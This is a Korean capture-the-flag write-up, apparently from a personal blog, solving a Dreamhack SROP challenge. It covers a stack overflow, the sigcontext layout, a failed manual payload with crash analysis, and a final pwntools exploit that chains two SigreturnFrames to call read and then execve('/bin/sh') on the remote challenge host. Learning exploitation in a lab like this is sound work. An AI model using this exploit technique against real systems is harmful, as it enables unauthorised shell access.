srop.c
// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
pwndbg> checksec
File: /home/alex030905/pwnable/SROP/srop/srop
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
도커파일도 없고 srop.c 랑 실행파일 두개만 받았다.
코드도 간단하니 바로 방향잡고 익스플로잇 코드를 작성해보자.
코드 분석
buf 를 입력 받을 때 오버플로우가 일어나고 int gadget 함수가 시스템 콜을 실행하는 함수이니 rax에 15를 넣어서 sigreturn 을 실행하고 sigcontext 에 쉘을 실행하게 인자를 넣어버리자
우선 sigcontext 구조를 이렇게 기억해둔다.
/* __x86_64__: */
struct sigcontext {
__u64 r8;
__u64 r9;
__u64 r10;
__u64 r11;
__u64 r12;
__u64 r13;
__u64 r14;
__u64 r15;
__u64 rdi;
__u64 rsi;
__u64 rbp;
__u64 rbx;
__u64 rdx;
__u64 rax;
__u64 rcx;
__u64 rsp;
__u64 rip;
__u64 eflags; /* RFLAGS */
__u16 cs;
__u16 gs;
__u16 fs;
union {
__u16 ss; /* If UC_SIGCONTEXT_SS */
__u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
};
__u64 err;
__u64 trapno;
__u64 oldmask;
__u64 cr2;
struct _fpstate __user *fpstate; /* Zero when no FPU context */
# ifdef __ILP32__
__u32 __fpstate_pad;
# endif
__u64 reserved1[8];
};
자 이건 A를 대충 입력했을 때 스택 구조이다.
바로 구조를 짜보면,
| 오프셋 | 항목 | 값 |
|---|---|---|
| 0x00 | 더미 24바이트 | A * 24 |
| 0x18 | 리턴주소 | int gadget() |
| 0x20 | rax (sigreturn용) | 15 |
| 0x28 | r8 | 0 |
| 0x30 | r9 | 0 |
| 0x38 | r10 | 0 |
| 0x40 | r11 | 0 |
| 0x48 | r12 | 0 |
| 0x50 | r13 | 0 |
| 0x58 | r14 | 0 |
| 0x60 | r15 | 0 |
| 0x68 | rdi | “/bin/sh” 문자열 주소 |
| 0x70 | rsi | 0 |
| 0x78 | rbp | 0 |
| 0x80 | rbx | 0 |
| 0x88 | rdx | 0 |
| 0x90 | rax (실제 syscall용) | 59 |
| 0x98 | rcx | 0 |
| 0xa0 | rsp | 0 |
| 0xa8 | rip | int gadget() |
이거라 생각하고 익스플로잇 코드를 짜서 보내봤는데 실패했다.
실패 익스플로잇 코드
from pwn import *
p = process('./srop')
e = ELF('./srop')
binsh = 0x7ffff7dcb42f
gadget_addr = e.symbols['gadget']
print('gadget addr : ', hex(gadget_addr))
payload = b'A' * 24
payload += p64(gadget_addr)
payload += p64(15)
# r8~r15
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
# rdi
payload += p64(binsh)
# rsi ~ rdx
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
# rax
payload += p64(59)
# rcx, rsp
payload += p64(0)
payload += p64(0)
# rip
payload += p64(gadget_addr)
p.send(payload)
p.interactive()
실패했다.
덤프코어 파일을 받아서 왜 안됐는지 분석해보자.
실패 분
여길 보면 조작한 리턴주소가 없어져있고 그 다음에 넣었던 0xf 가 나와있다.
그리고 심지어 RIP 값이 0xf 로 바뀌어져있는 걸 봐서는 payload 가 시작부터 잘못되었단 걸 알았다.
그리고 rax 값도 -38 로 에러코드인걸 보면 0xf 를 rax 로 못들고가서 syscall 호출도 못했단 걸 꺠달았다.
또 생각해보면 libc 파일도 로컬에 있는 걸 썼으면서 오프셋도 마음대로 구해놨다. 그것도 수정해야한다.
gadget_addr = e.symbols['gadget']
print('gadget addr : ', hex(gadget_addr))
payload = b'A' * 24
payload += p64(gadget_addr)
payload += p64(15)
여기서부터 전부 바꿔줘야할 판이다.
그럼 결국 frame을 직접 payload로 맞춰주려고 하니 생긴 문제인 것 같다. 정확한 모양과 순서가 아니라서 모든 레지스터 값에 다 이상한 값이 들어가는게 분명하다.
이럴 때는 SigreturnFrame() 으로 구조체를 맞춰서 바로 가보자.
내가 결국 쓰고싶었던 건 execve(”/bin/sh”,0 ,0) 이였으므로 거기에 맞게금 프레임을 생성해보자.
그래서 /bin/sh 부터 찾아봤는데 실행 파일에는 없다.
지금 내가 쓰고있는 건 로컬에 libc 파일이니까 버전 맞는 거 찾고 오프셋 구하기보단 그냥 read 로 내가 /bin/sh 문자열을 써버리자.
rip 에 들어갈 syscall 가젯도 다시 찾아줬다.
그리고 익스플로잇 코드 흐름을 짜준다.
read 를 먼저 호출을 할거다. 그리고 binsh을 적고 그 위치에서 실행을 시켜버릴 예정이다.
read(0, bss, 0x1000)execve(”/bin/sh”,0 ,0)
이렇게 두개를 실행할건데, /bin/sh 는 read 호출 이후에 직접 입력하고 그걸 쓸거다.
최종 익스플로잇 코드
from pwn import *
context.arch = 'x86_64'
p = remote('host8.dreamhack.games', 23722)
e = ELF('./srop')
bss = e.bss()
syscall_gadget = 0x4004eb
syscall = 0x4004ec
print('gadget addr : ', hex(syscall_gadget))
# read(0, bss, 0x1000)
# syscall number : 0
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x1000
frame.rip = syscall
frame.rsp = bss
payload = b'A' * 24
payload += p64(syscall_gadget)
payload += p64(15)
payload += bytes(frame)
p.sendline(payload)
# execve(”/bin/sh”,0 ,0)
# syscall number : 0x3b
frame1 = SigreturnFrame()
frame1.rax = 0x3b
frame1.rdi = bss+0x108
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall
frame1.rsp = bss+0x500
payload = p64(syscall_gadget) # 8 bytes
payload += p64(15) # 8 bytes
payload += bytes(frame1) # 8 bytes
print(len(payload))
payload += b'/bin/sh\x00'
p.sendline(payload)
p.interactive()
이렇게 먼저 read 를 frame에 넣고 실행시킨 뒤, bss 에 공간을 확보한다.
그리고 두번째로 진짜 실행할 execve 함수를 썻는데, 여기서 /bin/sh 문자열을 bss + 0x108 위치에 들어가게 된다.
그래서 이걸 실행해보면?
답이 나왔다.
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable Advanced] Exploit Tech: _IO_FILE Arbitrary Address Write (1) | 2026.04.16 |
|---|---|
| [Pwnable Advanced] Send_sig (1) | 2026.04.16 |
| [Pwnable Advanced] Exploit Tech: __environ (1) | 2026.04.16 |
| [Pwnable Advanced] rtld (1) | 2026.04.16 |
| [Pwnable Advanced] Exploit Tech: overwrite _rtld_global (1) | 2026.04.16 |